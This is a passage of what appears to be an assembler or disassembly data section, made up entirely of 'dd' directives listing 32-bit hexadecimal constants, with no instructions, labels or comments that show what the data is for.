		dd 25E0F800h, 3E3F24h, 0A1C31480h, 0C6C909F1h, 0E250DE12h
		dd 47E5505h, 0CE33ABC1h, 640441DAh, 21869F4h, 488A1799h
		dd 0A8CE05D7h, 0D3A8807h, 0C902A514h, 9C44E0E7h, 12300229h
		dd 59F5FE89h, 0EB00A056h, 0D82F7AA7h, 3F8500A1h, 0BE72D6E6h
		dd 27032B4Ah, 0EC30BD50h, 36F2817Ch, 0FE7FD880h, 0E14BBC19h
		dd 72122400h, 98E3D5B2h, 5890D9h, 9EF32CB1h, 48A9497h
		dd 0A6A9BD00h, 53E53AFDh, 0EED00962h, 0B00594Eh, 428AC1B3h
		dd 0EBF67000h, 0A6EC4980h, 1EDBE4C5h, 0DE5F238Ch, 86320030h
		dd 241FC16Ch, 26005474h, 0AD5C5E2Ch, 1E82F0h, 473E0C2Eh
		dd 0EDFDABA5h, 0B0B97A30h, 28C80745h, 9C1188h, 0F0242FDEh
		dd 0EC1CC567h, 0F4469A00h, 2726C2E3h, 0FCB8CBh,	0DA1A3645h
		dd 7FA15F67h, 204F6E30h, 0A1C452BEh, 80E72489h,	18B180BBh
		dd 20982AAEh, 0EF00634Dh, 220723B6h, 0BC83D5h, 3917E345h
		dd 0E1053FF9h, 1101CB78h, 0AA5E74A4h, 0C040EEC1h, 0E4340Ch
		dd 3AF47949h, 15525847h, 0FA859500h, 0B1EC4F41h, 0D22A0364h
		dd 1A468BEFh, 0ED7980EDh, 0C409D8FCh, 9D4F67Ch,	8DA58A5Ch
		dd 291DE403h, 0CFE9A0FFh, 32090CCBh, 0E2B0850Fh, 0B40CCEE8h
		dd 781BB9E8h, 39F707CCh, 0C0CD6BDCh, 207DA0EAh,	1241DB00h
		dd 31EE0ED4h, 761F1851h, 0A91030A4h, 0F791CD00h, 0E847CB64h
		dd 0D2909Fh, 4C69F37Eh,	0B1B5D8E5h, 5DE4F0Fh, 409D69D1h
		dd 7907C18h, 0E0F7C44Ch, 77F0408Ch, 0AC00B048h,	0C6A9B9BCh
		dd 0C0A8A335h, 66879A49h, 600016Bh, 56B9F7CAh, 5BB3125Eh
		dd 0B6B840D9h, 1C8CAB9Bh, 1A5B8701h, 38EFE9F3h,	0CBAC7187h
		dd 32789362h, 0EE8F02A8h, 36C6F00Bh, 0B30A3D2h,	0DE081E62h
		dd 7A8F03DFh, 76A312F1h, 0F38CCBB1h, 1008F2C3h,	18BBD39h
		dd 0B79D91CAh, 98E9E8C9h, 46C3C00h, 7CCD1BD3h, 58633092h
		dd 328FA780h, 0D258E360h, 5BFC94h, 0C32CB587h, 98E75117h
		dd 6D05A1F8h, 0A8E9D6EAh, 0B7803CC0h, 72291D5Dh, 357820Eh
		dd 0BCFA6CB8h, 20955F73h, 3228E924h, 9F3D3A7Ah,	6FB97800h
		dd 0D15111D3h, 27F7D813h, 4A054003h, 8D40F050h,	0BA8600CBh
		dd 63DDFA4Dh, 69181D2Bh, 75513011h, 8EEB2FBFh, 0A3BA9C10h
		dd 0E5106567h, 85F8CBE0h, 0AEF63C25h, 1E190E84h, 65EC88BAh
		dd 0B161C502h, 40649DD8h, 0CD90A7h, 91A57ED2h, 0B9A483CEh
		dd 82ADE701h, 4E6BD001h, 2DA18C60h, 98073C33h, 144FE0ECh
		dd 903A517h, 7422BD9Ch,	56CA8194h, 3787230h, 887FE3C0h
		dd 0C2882B5Bh, 0FF3CD329h, 0C8C60036h, 1DB9825Eh, 2CF600D6h
		dd 0FAA8FD08h, 59004234h, 0C60AD35Ch, 0B8802Fh,	0A07E1F53h
		dd 10DDE1F9h, 1AF69901h, 0DF98026Fh, 4C3460h, 52AE0367h
		dd 341D908Ch, 0D12D200h, 1037964Fh, 0B7E30026h,	0E8F3BCB0h
		dd 0C00E3394h, 405388E6h, 2CB3FA9Fh, 8BE55h, 0F96996FDh
		dd 2EB85109h, 5D521001h, 28E32442h, 0A21900EFh,	5C250754h
		dd 78078DF2h, 92416B16h, 0E94C84Ah, 96C09C94h, 75AD8B70h
		dd 8BC04A6h, 805AAA89h,	0A0732B8Ah, 91B5FC03h, 1E575DEFh
		dd 4013CE10h, 36894E6Dh, 0D5006852h, 60F8E94Fh,	9448208Ah
		dd 0CCBC008Ch, 17975E2Dh, 0EE14F90Bh, 822840ABh, 57FB0719h
		dd 0F013E91Dh, 84F68E6Dh, 0BC9A1500h, 8C40ECC1h, 0C85D3F20h
		dd 9DBF4F81h, 0D4A6C0FAh, 8801271Bh, 28437F51h,	86DD179Ah
		dd 70988940h, 2A4A00EAh, 9FA9BBD8h, 64B009C8h, 93E45898h
		dd 0ADACCE00h, 0D0AAF36Ah, 0C68D0004h, 1D354559h, 0B90264D9h
		dd 75D76C14h, 6DE0607Ch, 0E44F00C1h, 383C3095h,	0E801668Bh
		dd 0B6A9E9ABh, 0B0D02C49h, 0DEFB00ECh, 876DD0Eh, 0D0FA7326h
		dd 248CAA2Ch, 0ACC32E00h, 0F95B97h, 0AB8B68Ah, 0BC09FDC0h
		dd 4332CE00h, 51F27AF0h, 90E91F50h, 0AF932Ah, 764AD567h
		dd 0EAEA2B68h, 0D2261C00h, 8C3EF545h, 4727EB5h,	929D62DBh
		dd 0E281BE8Bh, 4B318AACh, 3E7EE468h, 40DF56EFh,	0B00CC12Ch
		dd 0FA00B688h, 2607E23Dh, 9367C0h, 91A074F6h, 0C0B0506h
		dd 5B2E9200h, 552690E2h, 0AB8300DEh, 0EB6C58D4h, 20E65F2h
		dd 0D22F459Fh, 66247C07h, 0A4428ACEh, 0ABBEB307h, 0E8A30DA0h
		dd 481848C9h, 0EE15E200h, 0F589D67Ch, 1A93CB18h, 90C60C18h
		dd 0C4180023h, 208216FEh, 3B003883h, 3E5FCC93h,	13F42D99h
		dd 697341h, 0D098B520h,	0BC001B95h, 893F8E05h, 0A7741Fh
		dd 0E17B1360h, 847577D4h, 60619CAAh, 0DD5181D7h, 559412F2h
		dd 82BCE0FEh, 4CE5EAF7h, 0C2254240h, 0AF02ED5Eh, 0F0ABB734h
		dd 0FFB21718h, 788845A6h, 3CC0F179h, 3E2E00FCh,	75EE73FCh
		dd 803548CBh, 2256CF08h, 42EA6501h, 0FAE18D08h,	77EE3089h
		dd 18145E80h, 7804408Bh, 91B1157Ch, 3F03A4A8h, 44475824h
		dd 4A2580F0h, 30167732h, 6CC6B0h, 0C47EAADFh, 545C5AD9h
		dd 3600D0E4h, 7829164Ch, 0A973E5h, 0B508321Dh, 0E71BE2Ah
		dd 0A5679416h, 0AF880Bh, 8CD8C3DCh, 825A10h, 1B8306B8h
		dd 0ED00BF8Fh, 26C3F092h, 1C586Dh, 98B05D5Ah, 0AB6778CFh
		dd 0DCA2A53Ch, 14020098h, 0E40AE507h, 56040034h, 4F487B92h
		dd 1800EDD6h, 0B317CB4h, 6C9BABh, 1D17E935h, 48126861h
		dd 0C5009AEEh, 90DB7D54h, 0B6D6BCh, 0A6DAB38Eh,	61D8A407h
		dd 4F949906h, 78461Fh, 985B4A04h, 0D4C3E54Dh, 8678D739h
		dd 446240FDh, 0D5373E30h, 48FF418Ch, 77EE9210h,	0E100E25h
		dd 0A014C438h, 68377C91h
		dd 0AA180428h, 4019F0FEh, 0DC019101h, 88EC4A6Fh, 72EEEA21h
		dd 0C1B10110h, 18CD122Ah, 0FCA2D026h, 4A719900h, 0EEEBCFF1h
		dd 0B4403D06h, 8996259Dh, 18646A9Eh, 331B7A03h,	7AE981Ch
		dd 0D7B3A848h, 32C210E0h, 0FA7054BCh, 0B4B8D928h, 0D50FB275h
		dd 20669BA5h, 87D40D17h, 143A07C2h, 0EB4B90E7h,	0A6C1D8E8h
		dd 60CBC609h, 6938E0ABh, 0F3951710h, 401400FFh,	45726270h
		dd 1390FB50h, 0A6A2C04h, 6C80DD58h, 48DF8710h, 68138AA8h
		dd 87F216CFh, 53C5107Ch, 0E4B2A764h, 0E19A181Fh, 0A0E7D98Eh
		dd 9D7965D1h, 21CA12F8h, 80680BE4h, 0AA2B040h, 1BED55Ch
		dd 98CEFFA8h, 0FF87F30h, 747BABh, 0A001F403h, 6CE64297h
		dd 81D3D60Bh, 4B2F0026h, 0C7F62E2Dh, 95793020h,	8A88803Fh
		dd 85045F42h, 26CAB5ECh, 67B3D8C0h, 1EE47352h, 832EE53Fh
		dd 759B3724h, 73F4ECB8h, 0E8698A03h, 0A8990D27h, 654438h
		dd 96AACA8Bh, 496EAE17h, 5F247600h, 0DEEF90D4h,	0AF623EA9h
		dd 1FF5CB00h, 5A32E042h, 0D8D40B00h, 1BBC926Fh,	1D771E8Bh
		dd 8028E43Dh, 31857DE9h, 2700732Ah, 1A8B41D9h, 0FE3F6424h
		dd 7D570B1Ch, 580F4A49h, 0A9DC83A0h, 0A300653Eh, 0E6D42508h
		dd 1DAD28C4h, 9435F6h, 5D34C38Fh, 0D0018415h, 4AC2DB75h
		dd 0E802242h, 5FCA93BBh, 5B0047A0h, 0BD2C8DE1h,	139E2B7h
		dd 0AC4E3E68h, 803BBF94h, 0D9145D60h, 351CEEh, 0AA554289h
		dd 0E41F8252h, 0D227FA0Ch, 762824h, 9588B7D4h, 9D116A36h
		dd 182CCF2Eh, 2903080h,	514218h, 230548D7h, 0B6E3CA36h
		dd 1C1FC5EAh, 78809E1Bh, 0AC3DEA94h, 69E90073h,	0E59D868h
		dd 0CE002B50h, 34366381h, 1257624Eh, 90D2B809h,	231051A0h
		dd 42AAB001h, 8E328FA2h, 80804BD9h, 9509BFA7h, 5E25D6BBh
		dd 0F5C2124h, 418FA9BEh, 0E7032A55h, 33E03A57h,	6D005FC3h
		dd 0ACE9783Bh, 2E0BC4h,	9BC01232h, 95447AF8h, 127B13Dh
		dd 0EE38E2E3h, 59813EC1h, 0E8E1638Fh, 3C13D422h, 2D9F0519h
		dd 8477370h, 8FEACB70h,	88F12C64h, 2B252Bh, 5538C400h
		dd 0E7300E72h, 5FED08DDh, 0C75CA025h, 0D8960302h, 3FEE2E3Ah
		dd 0D079088h, 4F000BFEh, 94A8CB2Ch, 574B38h, 35964C83h
		dd 0F3C6F793h, 1B256A00h, 4131531Fh, 39A0B3Ah, 4982E1BAh
		dd 918029F4h, 0C52A8915h, 0C42E5A00h, 1EC233Ah,	4C1402D4h
		dd 0F60FD74Bh, 9B620340h, 7035EA00h, 0BD1F47BCh, 1C5EE0Eh
		dd 0BB1A39F7h, 0C0431312h, 2600755Eh, 0CECDC87Eh, 588F02E6h
		dd 8A010970h, 902C3F3Ah, 0ADC92046h, 0AA5CD00h,	41BBFA24h
		dd 3E560095h, 0C30F3159h, 6E1FC503h, 54CE4F37h,	9F86A0ADh
		dd 127566BEh, 0AC415EF9h, 0C3017C0Ch, 1E40CB5Ch, 0FAF8842Bh
		dd 226805DDh, 4063F67Ch, 755246B4h, 2A03F17Eh, 62E9D298h
		dd 233BA18Fh, 7529A300h, 0CD4E3Ch, 0C11BEDF1h, 0DD577Fh
		dd 5F6F9F37h, 992B1A8Ah, 3005A12Bh, 0BCF070h, 812B5CC7h
		dd 0DD28D566h, 29807BFAh, 4D6302AFh, 7896307Ch,	6948D860h
		dd 0D0BC2812h, 803E5C4Fh, 0D257EEF9h, 5F2F1902h, 802608A5h
		dd 0F9D01021h, 7C48244Ch, 0CA74008Fh, 0F62949C5h, 717AF56h
		dd 0A4D67F5Dh, 1FF4661h, 57E3F9A1h, 380C0E8Ah, 991F88h
		dd 57CC2DF9h, 2923713Eh, 742B4603h, 0B88E949Bh,	0C58F63EDh
		dd 80EC2FD0h, 6EC884B2h, 0A61B31F0h, 10E04513h,	0C0B35978h
		dd 5761F997h, 23448C5Ah, 0F9CE0015h, 0FB69B5C6h, 1900D42Bh
		dd 94E41496h, 60DF463Dh, 179DD85Eh, 4E00CE7Eh, 0A2C8226Bh
		dd 6E22695h, 0BDE6CBDAh, 430196D9h, 0D7AC9D40h,	1AECEA09h
		dd 0D5120146h, 0CEE36F03h, 58F9E48Eh, 42F0F207h, 71F0FADDh
		dd 0C6F13Eh, 0D160F718h, 988CFE9Dh, 56052600h, 635C58Eh
		dd 6DF2E7h, 0B542872Bh,	820BF07Dh, 56F7AC00h, 0D0E9DE24h
		dd 5E200022h, 97D414A2h, 0F000BECBh, 69DAF726h,	301CA56Ch
		dd 0CA18E460h, 8100C1A8h, 9D376F64h, 29DDB2h, 0DC30AFC6h
		dd 9C66A009h, 0D9EB7B00h, 7789CE4Bh, 12DB07CFh,	718D3B84h
		dd 0F080AD74h, 0E0008C66h, 0FE6341D8h, 607862h,	0D237F061h
		dd 7553A527h, 818E4A3Fh, 9ADE951Eh, 0C5DDBCA3h,	18E98880h
		dd 0AD02A0A9h, 2495A700h, 0E4AB7E66h, 0C76500EFh, 0B81B3562h
		dd 0C113128Dh, 99060636h, 10D06A2Eh, 14C20FBCh,	7C90C4F8h
		dd 0AD8D207h, 0ABC09A31h, 0F70E5B1h, 304B80A6h,	286CE266h
		dd 0B6EFFF1Bh, 1A75C130h, 18D87930h, 68348309h,	8600D021h
		dd 7A9DD926h, 0A5FA41Fh, 0F894C016h, 64330004h,	8B8DE0BCh
		dd 0FE7B2E00h, 2F761B1Ah, 63210055h, 0E59F64E2h, 31C03E16h
		dd 7AB028BCh, 0F91C009Eh, 0D1AEC6EDh, 53008636h, 6CEF3BBDh
		dd 0E01EB728h, 0C111305Fh, 0A465B138h, 63497F00h, 0D9096126h
		dd 0AD2C0032h, 0C845AE01h, 4F01B0E7h, 50EDCEACh, 13008D33h
		dd 0F41DE049h, 0E4C65276h, 0FB08FD7Eh, 0F21A8h,	7BCCDCE0h
		dd 0E3576CCDh, 394F34Ch, 7864743Ah, 4280CCEh, 8DC097BDh
		dd 9831D900h, 7361CA16h, 2B600F7Bh, 4E00D2C8h, 7D0F28CBh
		dd 0A016BA01h, 73D43251h, 0B194398Eh, 7B3DCDC0h, 180021A3h
		dd 9D268A2h, 785FE8D3h,	0F1DB6059h, 318C2633h, 8C2F08CBh
		dd 644B17Bh, 0BF6935Ch,	6D0029D0h, 18C9B1FBh, 332FC47Fh
		dd 0B6084F40h, 0E3872100h, 18B1DAB9h, 55113D8Ah, 13070606h
		dd 51D9998h, 35CCFED2h,	0F2D8A9F9h, 30EC131Eh, 676F06A7h
		dd 0B56008EFh, 1EDD2321h, 0FB711E2Fh, 0C9CA87FFh, 52FC9492h
		dd 0E4B14F18h, 32F43C7Bh, 734BA00h, 0E0D1E86Fh,	9BC75002h
		dd 0C1C1FEE7h, 0F882017Ah, 9D4C6B30h, 0B42104B7h, 6BE60421h
		dd 8EA43068h, 8C0EB708h, 7F012D42h, 31EB198Ah, 8823046Bh
		dd 24A118F8h, 0FE2710AAh, 18C020A4h, 0F50F5829h, 0F8D03A05h
		dd 3CD13D33h, 88500965h, 0F4FC180Ah, 8D0C8D42h,	0C012804h
		dd 1C43930Dh, 108963B1h, 64E59599h, 60105050h, 6808798Ah
		dd 0CC14004h, 0FBF9860Fh, 64A24978h, 0C2280408h, 7FE1B3F9h
		dd 0C08A1F8h, 1106760Ch, 9468A034h, 1320CA78h, 0A106D24h
		dd 0C7007E50h, 49B6CD9h, 0A33E0ADh, 93AB2528h, 0B42D0028h
		dd 1187DBE2h, 0A29D811Ah, 21FC1708h, 5F617D04h,	108ADEC3h
		dd 45C425BAh, 99FC1F1h,	2DF43046h, 6563D302h, 806DF98Fh
		dd 9140A120h, 9E610C06h, 0A519E5AAh, 66526A5Ch,	3469C738h
		dd 0C359EF38h, 48C6FD18h, 0A414C300h, 94CCD8B2h, 33D103C8h
		dd 8AD55093h, 0C21384Ch, 71B4C323h, 19E90076h, 3DC75162h
		dd 0EC60DAF9h, 0EAA40669h, 0CB48C0FCh, 9C189870h, 1DF0CE01h
		dd 148D9B03h, 8E40DFD3h, 6D124Ah, 86767E64h, 3DAFFD9Dh
		dd 0E407A9C1h, 88EF52Ch, 31E292Bh, 27B4FE2Eh, 0F548C163h
		dd 980860CEh, 3A3223DAh, 0BCF6F000h, 68FC4C16h,	0FDF678h
		dd 0BAD17F71h, 30743D8Dh, 879F2F1Eh, 0A0EB0880h, 0C0CF0BF3h
		dd 9B1E8479h, 8CA13117h, 9CADC182h, 5AC297E9h, 0C1CB9C28h
		dd 0E2108950h, 550FB32Ch, 0CE75FD8Fh, 0DB4C1FFh, 289189FCh
		dd 4982CA6h, 8A7CE808h,	88AB14h, 0EE6E786Bh, 0B30052DBh
		dd 41F9D871h, 1AE7FF29h, 309CE804h, 8C47006h, 3528F51Dh
		dd 7980D0E4h, 0A69CF1AEh, 1D98E8AAh, 8C92CC6Ch,	7621B722h
		dd 0FD9C4C07h, 5296516Ah, 0A86050A0h, 0A2E4281Bh, 0F83E49ACh
		dd 17C40F30h, 367E55D5h, 0E8316B02h, 4A99AA21h,	0CAA8142Ch
		dd 1E972910h, 0EC09396Bh
		dd 6023416Fh, 0C17E3038h, 709B170Ah, 3F58B892h,	0EF208622h
		dd 8D9D1C50h, 0CBD790h,	0FE871303h, 2F1F5C19h, 4AC0AC73h
		dd 0B1DED10Bh, 0FF90036Bh, 9EFEAFE5h, 0EC06580Ah, 8F10A4FDh
		dd 35D0EB30h, 30C03EBCh, 40322C98h, 0BE370606h,	0C893E4B3h
		dd 0A213D200h, 2339922Fh, 1830E09Bh, 2025B0E6h,	0D9C15AAFh
		dd 0F3657258h, 0A1B68824h, 0C4321FB8h, 0B8287615h, 0D314230h
		dd 92E82158h, 29E4A934h, 9796D805h, 29457BC7h, 40D38C2Ch
		dd 0E8246C24h, 0C0A4440Dh, 0A250F141h, 0D11C0B15h, 53E89C82h
		dd 650D3045h, 881129F1h, 0E43216FAh, 52E9864h, 60486CAAh
		dd 6DAF0CE3h, 3009229h,	7402FF3Bh, 1958DFCh, 0C722788Fh
		dd 20EA2F14h, 3088F110h, 0DB9602C2h, 31BFEB38h,	29A24886h
		dd 0BA05B342h, 4FB3696h, 82C7BD3Ch, 58912F88h, 0D3E1CDF9h
		dd 2499023h, 0B05C1FEBh, 0B554F080h, 3000E068h,	0E23DBA31h
		dd 33FEFF38h, 8EB0B061h, 742F07E8h, 0EF4F6312h,	0D768B807h
		dd 0D0772E50h, 0BC783372h, 5BD8B079h, 0A454ACFDh, 0DE28D7C8h
		dd 6043B061h, 22CE2910h, 688D2FAh, 39DB165Ch, 6BC0F0E3h
		dd 0BAEE2879h, 0CB008A7Eh, 71D213BDh, 2417C753h, 110C2E50h
		dd 0ABF0198Bh, 78118910h, 0CBE03044h, 2D38B411h, 2041626h
		dd 0D5F933Ah, 28D864EBh, 0A0A0E4D1h, 10CE2DE9h,	0E2C2E1DBh
		dd 4830B818h, 0C88C8A5Ch, 31005D18h, 167492B2h,	7FDE2835h
		dd 88C55CFFh, 28C8172Ah, 98E4FCh, 0BA0F84D4h, 70DED8B8h
		dd 484CE398h, 0A4180FFCh, 9A71C0CFh, 6009867Bh,	1DE71822h
		dd 0EA3E4842h, 0C6D20010h, 0CEAD6A6Dh, 601C96E3h, 76F2E083h
		dd 88EF6221h, 0EC078A12h, 82B3E04Ah, 3C44F888h,	0B0FA1EFFh
		dd 751DC01Bh, 338EDC6Ah, 6E68821Dh, 740098E4h, 0F8C74EDBh
		dd 0C1FE1619h, 9EAC48B6h, 50007496h, 0CA1C1690h, 241E3369h
		dd 2100E808h, 1F70F3E9h, 0AEDC17h, 59473BCDh, 0DBC3690Ch
		dd 31039AF0h, 77948C7Ah, 6FB0A82Fh, 7C80A312h, 0B2E90141h
		dd 1C7719EFh, 0FED2F070h, 0FC304C4Ah, 23201EC6h, 8F11C73Fh
		dd 1ED12700h, 504B2677h, 0B41F2103h, 64809D2Ch,	60D1D0D8h
		dd 234B70CEh, 0B908D416h, 0F65A00E7h, 0E03A8A70h, 400D8F36h
		dd 80797450h, 800B80Fh,	2938554Bh, 4D87F7h, 4C9666BCh
		dd 836DEAE6h, 0F0523612h, 0C21800FBh, 0F13DD246h, 0AF48F800h
		dd 92D920DCh, 4B900FFh,	430B2EECh, 0F20453A6h, 0DEEB1FC7h
		dd 0F0D32780h, 1B030125h, 0AE5EDCFEh, 221094FCh, 940CEA04h
		dd 6A10BF7Bh, 97A2D300h, 8DDD30B0h, 0B9433B1Dh,	0E4EA4405h
		dd 8D207A5h, 2D13B0FDh,	0A70FD052h, 79C6F4Eh, 11F0AD68h
		dd 3D2C756h, 0F903497Ah, 1A8CCC6h, 9E0E8F36h, 43E10519h
		dd 0F8E82A4Bh, 1C0E9Dh,	79A88A1Bh, 0F8FA585Dh, 1036DA00h
		dd 0D2BA196Eh, 559500FDh, 7812981Ah, 2B0E58AAh,	0E02F297Dh
		dd 8424838Ch, 0D8200305h, 1DBC01CBh, 0DD2CD9A8h, 476D5E00h
		dd 0C2B28257h, 53423B2Fh, 2180A605h, 180C6046h,	0FB38A787h
		dd 0A2B38EF9h, 0C651603Ah, 42F24Eh, 64FD2620h, 832A2D7Ch
		dd 0C36EAF00h, 9ACAA734h, 0BF9E00F7h, 1A509984h, 8E1C2054h
		dd 464605EEh, 0F410E0FDh, 6C41001Dh, 0C61EC260h, 1400E773h
		dd 0B21C7884h, 1BD1BCAh, 395FF39Ch, 402004CEh, 0CC30A0D0h
		dd 0C1656D00h, 43E9717Ch, 3FDA1D4Ch, 0E0608085h, 0C1AD81Ch
		dd 2C01B902h, 80704FFAh, 931E9CABh, 0E44700EAh,	5703097Dh
		dd 0C812A6D5h, 3040DF0Ah, 4BC6DB98h, 47E1008Ch,	0C33B687Ah
		dd 9B00A5E6h, 0A7BFE977h, 10AA61h, 8598C054h, 16697D12h
		dd 1D036D00h, 584D0F5Fh, 2FC4005Ah, 0C3E3EFF9h,	88079679h
		dd 0D6050645h, 1B0FDB21h, 22BFF940h, 19683C64h,	2BA8A900h
		dd 54B1B44Dh, 0E1C0E900h, 7C977945h, 0B3300029h, 129D48DDh
		dd 0D8007E8Dh, 81A13E91h, 0F89AA62h, 10EF0F55h,	0BB58D382h
		dd 0EC39055Dh, 45D9EC00h, 0B9A395h, 9F2FC3E5h, 0FEF65E6Eh
		dd 9D0A7C07h, 29F10B2Dh, 20805C8Ch, 7B6FFB95h, 0B25077F9h
		dd 0EC289CCCh, 7100C024h, 358BB3FFh, 69054Bh, 4AF5B2F6h
		dd 83CDBD09h, 10843E07h, 76806695h, 28C2B4ACh, 884CD8h
		dd 2D9AB8E5h, 32ED7FB7h, 0FD7A0100h, 362EF6EBh,	7C720F13h
		dd 76002437h, 81AC6512h, 90837300h, 7E747782h, 0E18E2E17h
		dd 877B1FEAh, 90508C80h, 523E0195h, 0D6071100h,	99246109h
		dd 10D40032h, 0E483E24Fh, 0D800F8E5h, 2C0D7E07h, 71840Eh
		dd 292BE67Dh, 0CEDC3DEDh, 0A7922602h, 682F87C8h, 777F4F08h
		dd 0C05060BDh, 0C2931AE9h, 908E300h, 1552B582h,	559C3060h
		dd 0C61F6442h, 0D0E6A00h, 875F3E95h, 31D20098h,	3D5842D6h
		dd 0A006819h, 0A3A1FC03h, 26659Ah, 1F5B4735h, 9E4E5CF2h
		dd 0EB140C28h, 99421200h, 0E0F1329Bh, 3C8C48F0h, 97EB7000h
		dd 0B7CBB291h, 23466813h, 4D085C40h, 7FEDC3h, 0D688B67Ah
		dd 2460436Dh, 73069B00h, 0F8B90257h, 12653AD0h,	783AC58Eh
		dd 0C4A46743h, 0D03742F1h, 52FA4114h, 422A91Fh,	8E0370C0h
		dd 7D3919h, 6ACBDD06h, 0D7C76F26h, 80166D7Bh, 63F83EA1h
		dd 0B3A85900h, 28E2FAB2h, 0A4DB141Fh, 13617B4Fh, 3116B00h
		dd 3786672h, 76F9E182h,	1DE1B213h, 0E07A713Bh, 27018B2Dh
		dd 3EC2504h, 89F0BACEh,	90801D5Dh, 404EDC65h, 0E3F6092Dh
		dd 1D694A11h, 4BDB838Eh, 0A42F8C9h, 1BA79E0h, 72C62DA2h
		dd 24B3078Ch, 2E0067F0h, 0A1F61E8Eh, 0B0FC44h, 9B9C8808h
		dd 0E3EA8324h, 0FA58E4FAh, 39A70171h, 28A1660h,	31B1EF8h
		dd 55B6D2CCh, 3FA8849Bh, 4D034608h, 6EAAF804h, 8EE8B9A5h
		dd 9CF960h, 20A893DCh, 2182ED01h, 511E6502h, 41FBC4F7h
		dd 0CECD82Ch, 0EF7C1413h, 3A73A402h, 500A0E8h, 8E463F9Ah
		dd 7A5CD15Fh, 0F587011Fh, 3CC15843h, 0C3C07BC5h, 144982Bh
		dd 5EE74090h, 80604E81h, 0D25C4610h, 0A86A11h, 92C28071h
		dd 87FF08A6h, 1C0E09F6h, 32AF5FA3h, 48312841h, 64344EB7h
		dd 28810095h, 0D949CD7Fh, 6597051h, 13C84C8Ch, 0B0204087h
		dd 527273F7h, 6000A830h, 2308A446h, 0EE007AC4h,	41649975h
		dd 787410FAh, 71E8002Ah, 0BCE3CDFEh, 6CB08F93h,	5CC738h
		dd 91EAE0E5h, 390CB9h, 2708A771h, 6CA6EFC0h, 97455A01h
		dd 0F0FC1770h, 5EB8F8h,	7C2146F8h, 0FECC0553h, 9998A009h
		dd 9140004Fh, 0F88CB1A7h, 0C84C0901h, 0AC003A13h, 0DBAF100Dh
		dd 2D0A8900h, 37F7B958h, 4082006Eh, 46034BF8h, 0EAE84C41h
		dd 0BCCE7F0Eh, 0E55000F1h, 1FE30856h, 80645468h, 8672CB20h
		dd 17006587h, 0DFB0747Ah, 527A9DDh, 14E1BB38h, 208C23A2h
		dd 63F88095h, 0AA03A479h, 7BFB41A0h, 4A3E98C9h,	0DA670038h
		dd 88C14762h, 510179ACh, 31AF25E2h, 0B4DC2804h,	9558001Dh
		dd 3B274519h, 0FB0050DCh, 0C8DD6774h, 72FAB1h, 77999173h
		dd 1027A2F6h, 5103FCE6h, 0CFD50A9Ah, 0B79CA856h, 0FDECEFh
		dd 80505F83h, 0A9545BDEh, 37F30E1Ch, 0EBF04540h, 0B5880Fh
		dd 41BB8B8Eh, 329FB75Fh, 0EDF53000h, 4B6FC946h,	4AE2003Ch
		dd 0F1A6862h, 56002E9Dh, 0F9EFE841h, 1CB916C7h,	0C9A38F9Bh
		dd 202EE519h, 2020DA6Fh, 58293DD7h, 262F4D01h, 0B59DF2F9h
		dd 642015C5h, 70E2D1h, 0C065A796h, 0B207386h, 50A7D03h
		dd 0C8622B37h, 9DDC1Dh,	1BCB7F04h, 0AD718FCh, 50330CF0h
		dd 0C3DF10AEh, 0B915E0CEh
		dd 90314D65h, 0AC9D1A00h, 8BFE0109h, 0E2F96300h, 2065E3FFh
		dd 1880E7DFh, 0EB317FBAh, 0B8C0FD43h, 87119037h, 2440E9ACh
		dd 7C5F18C2h, 657100D8h, 6399F30Ch, 353AA0E5h, 17260066h
		dd 0E2E1292Fh, 717A18C2h, 0FE25380Eh, 0AA0E90E6h, 0FB7B434Bh
		dd 0E376E051h, 1AA600B0h, 0AD38C80Eh, 2E0056E7h, 0E8537FEBh
		dd 0EF4A17h, 13450D84h,	70AC7EC1h, 39022A01h, 0E8A3327Fh
		dd 0F7433FF4h, 47C8D8h,	18EB5BD4h, 375C632Ch, 1C7B2176h
		dd 29B93B06h, 8C46Eh, 0FDB638F6h, 0D36ABB7Ah, 44001F7Fh
		dd 77DBAD6h, 0BCDE6Ch, 0FD19FFDBh, 30651BD0h, 40C8A003h
		dd 0C8A22061h, 77FFBB6Eh, 3A580069h, 0CEFE2C60h, 9200510Bh
		dd 67EBD74Eh, 8F1B26h, 1CAC48C2h, 0DEBF94F0h, 3770FD00h
		dd 0AA25FF1Fh, 7DEC0082h, 0E7ED64A4h, 97FEB506h, 6C93E800h
		dd 16BA4C78h, 0AF61012Ch, 3BEA2089h, 82827h, 0D70A6E1Ch
		dd 250F60h, 23A6E2E7h, 6BDD257h, 20152272h, 78E87A13h
		dd 0B5CDDC00h, 0E2F1632Fh, 97B66A3h, 3C0021BDh,	10E8B5F0h
		dd 1DBB57FFh, 51D5D93Ah, 0DE6826E5h, 940D6A00h,	93D981Fh
		dd 30FDA5F6h, 5CBB1010h, 83392C3Eh, 70C610E0h, 0B1F1E005h
		dd 45C9638h, 0FBBB94h, 99C77D6Dh, 15CD3F6Fh, 2E9E0903h
		dd 0B13DDF94h, 0AEB63CCCh, 28048A3h, 3716DAC1h,	1D1EFAA8h
		dd 1B11F05Fh, 39421FEh,	0F0EDBBC9h, 0B53F738Fh,	893D59D8h
		dd 0D27780B2h, 0CC3CD04Bh, 40114938h, 8DEC7800h, 0C099D52h
		dd 0BF483400h, 72022B7Eh, 8B7500D3h, 19C50BB7h,	0C04E2DEDh
		dd 0F803EDF8h, 75D6DF93h, 0D7BC3BA0h, 842F070Ah, 0FC00BC9Ah
		dd 0F3795F05h, 0A370618h, 842A0B0h, 20F20730h, 7913E0h
		dd 64EDA6FDh, 0CE3B2E85h, 1637A48h, 0BF06BA0Fh,	3231F9E0h
		dd 0ED31A981h, 0D37640A0h, 8009E1F3h, 2CBCCF0h,	1AA5810h
		dd 0EF07FF25h, 14F8FDBBh, 40C402A6h, 35C44818h,	3773C800h
		dd 3A0F55h, 8B862EB1h, 80E01AF4h, 0A0D8C454h, 0C906F90Ah
		dd 8E702013h, 334368h, 621609BBh, 2AF0FE50h, 0F0849B83h
		dd 48C10C59h, 5E387A23h, 0B402C8AAh, 0E440142Ah, 0B4608330h
		dd 4B67F31h, 2172001Bh,	7AB0E9A5h, 5800080Fh, 0F54CADE8h
		dd 0F730FEC3h, 0FBFDBB10h, 7C886700h, 6C294AB3h, 4EEFAA6h
		dd 3B1CFFF7h, 303C97C5h, 873F8501h, 6D008075h, 0D6F4E25Ah
		dd 1D7B19B1h, 0FF8FAA0h, 6100A673h, 0FD5623E0h,	51A4AE82h
		dd 92B5C280h, 458CB963h, 0B440CEB4h, 600080D5h,	75D2A147h
